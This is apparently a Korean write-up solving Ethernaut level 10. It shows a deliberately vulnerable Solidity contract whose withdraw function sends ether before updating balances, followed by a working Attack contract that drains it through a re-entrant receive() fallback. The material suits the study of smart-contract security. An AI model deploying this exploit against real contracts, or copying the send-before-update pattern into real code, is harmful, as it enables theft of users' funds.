[Ethernaut] 10. Re-entrancy

1. 문제

아래 컨트랙트의 모든 자금을 탈취하라.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

2. 해법

Remix IDE를 사용해 다음의 컨트랙트를 작성합니다. 이 때 Reentrance 컨트랙트가 불러오는 라이브러리의 경로가 잘못되었기 때문에 코드를 그대로 사용할 수 없어서 인터페이스로 대체했습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IRentrance {
    function donate(address _to) external payable;
    
    function balanceOf(address _who) external view returns (uint balance);
    
    function withdraw(uint _amount) external;

    receive() external payable;
}

contract Attack {
    address payable public reentrance;

    constructor(address _reentrance) public {
        reentrance = payable(_reentrance);
    }

    function attack() payable public {
        require(msg.value == 0.001 ether);

        IRentrance instance = IRentrance(reentrance);

       instance.donate{value: msg.value}(address(this));
       instance.withdraw(msg.value);
    }

    receive() external payable {
        IRentrance instance = IRentrance(reentrance);

        instance.withdraw(0.001 ether);
    }
}